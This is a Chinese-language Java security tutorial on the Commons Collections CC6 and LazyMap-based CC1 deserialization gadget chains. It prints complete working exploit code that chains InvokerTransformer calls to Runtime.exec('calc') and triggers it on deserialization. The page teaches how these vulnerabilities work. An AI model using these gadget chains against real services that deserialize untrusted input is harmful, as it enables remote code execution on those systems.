[Java安全入门]五.CC6链

一.前言

上一篇讲到CC1链是利用AnnotationInvocationHandler来触发setValue(),但是在Java 8u71以后AnnotationInvocationHandler的readObject()里面已经没有了setValue()方法,cc6链不受jdk版本约束,较于其他cc链,更为通用。

二.cc1的另一种写法

在学习cc6之前,先回顾一下CC1

复制代码
AnnotationInvocationHandler.readObject()(setValue)->

                              TransformedMap.checkSetValue->        

                                      ChainedTransformer.transform->
                                              
                                              InvokerTransformer.transform

然后学习一下利用LazyMap触发transform

复制代码
public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

在LazyMap的get方法中调用了 factory的transform的方法,如果把factory传承ChainedTransformer就回归了之前Transforedmap的用法,前提是map里面没有key

然后找谁调用了get方法

在AnnotationInvocationHandler的invoke方法中调用了get方法

java 复制代码
public Object invoke(Object proxy, Method method, Object[] args) {
         ...
        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        if (paramTypes.length != 0)
            throw new AssertionError("Too many parameters for an annotation method");
         ...
        Object result = memberValues.get(member);
         ...
}

当对AnnotationInvocationHandler的任意方法使用动态代理的时候就会触发invoke方法,根据两个if,调用还得是无参方法,正好entrySet()是个无参方法

java 复制代码
package  org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import sun.awt.windows.awtLocalization;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.invoke.MethodHandle;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;


public class Cc1 {
    public static void main(String[] args) throws  Exception {

        // Class c = Runtime.class;
        //  Method methodgetRuntime=c.getMethod("getRuntime",null);
        // Runtime runtime=(Runtime)methodgetRuntime.invoke(null,null);//获取Runtime.getRuntime 类
        //Method execmethod=c.getMethod("exec",String.class);//获取exec方法
        //execmethod.invoke(runtime,"calc");


        // Method methodgetRuntime =(Method)new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
        //Runtime runtime= (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object.class},new Object[]{null,null}).transform(methodgetRuntime);



        Transformer[] Transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        //调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。
        ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);
        //chainedTransformer.transform(Runtime.class);


       Map<Object, Object> hashMap = new HashMap<>();
        //用HashMap传入decorate
       // hashMap.put("value", 1);
       // Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
        //构造好TransformedMap,现在需要触发checkSetValue并把指令传进去
        Map<Object, Object> lazymap = LazyMap.decorate(hashMap,chainedTransformer);
        Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Target.class, lazymap);//注解随便传
        Map proxy=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
        Object obj=annotationInvocationHandlerConstructor.newInstance(Target.class,proxy);





        //Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
       // Constructor annotationInvocationHandlerConstructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
        //annotationInvocationHandlerConstructor.setAccessible(true);
       // Object obj = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));
        out.writeObject(obj);
        //序列化


        ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));
        in.readObject();
        //反序列化


        // Runtime cmd=Runtime.getRuntime();

        //for(Map.Entry entry:transformedMap.entrySet())
        //{
        //   entry.setValue(cmd);
        //}
        //通过遍历Map,调用setValue触发checkSetValue

    }
}

三.cc6

cc6的后半段与Lazymap构造的cc1一样,但是触发get的方法发生了变化,TiedMapEntry类的hashCode方法调用了getValue方法,而getValue调用了get

java 复制代码
   public Object getValue() {
        return map.get(key);
    }

所以可以用TiedMapEntry来代替LazyMap,根据URLDNS链的经验可以这样构造

HashMap.readObject->hashCode->TiedMapEntry.hashCode->get ->ChainedTransformer.transform

java 复制代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws Exception {
        Transformer[] Transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        //调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。
        ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);
        //chainedTransformer.transform(Runtime.class);

        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
        //这里ConstantTransformer随便放,这样put的时候不会触发计算器
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "a");
        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry, "b");
        lazymap.remove("a");
        //反序列化不能由key,所以romove掉

        Class c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        //反射获取LazyMap,类似反射获url类
        factoryField.set(lazymap, chainedTransformer);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));
        out.writeObject(map2);
        //序列化
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));
        in.readObject();
        //反序列化
    }

}
相关推荐
傻啦嘿哟8 分钟前
物流爬虫实战:某丰快递信息实时追踪技术全解析
java·开发语言·数据库
倚肆8 分钟前
Spring Boot Security 全面详解与实战指南
java·spring boot·后端
茄子凉心16 分钟前
android 开机启动App
android·java·开发语言
8***f39524 分钟前
工作中常用springboot启动后执行的方法
java·spring boot·后端
低客的黑调25 分钟前
了解JVM 结构和运行机制,从小白编程Java 大佬
java·linux·开发语言
f***R840 分钟前
解决bad SQL grammar []; nested exception is java.sql.SQLSyntaxErrorException
java·数据库·sql
Halo_tjn41 分钟前
Java 相关资料
java·开发语言·计算机
Slow菜鸟1 小时前
Java开发规范(十一)| 数据全生命周期治理规范—Java应用的“数据资产化手册”
java·servlet·oracle
丸码1 小时前
Java异常体系全解析
java·开发语言
v***88561 小时前
Springboot项目:使用MockMvc测试get和post接口(含单个和多个请求参数场景)
java·spring boot·后端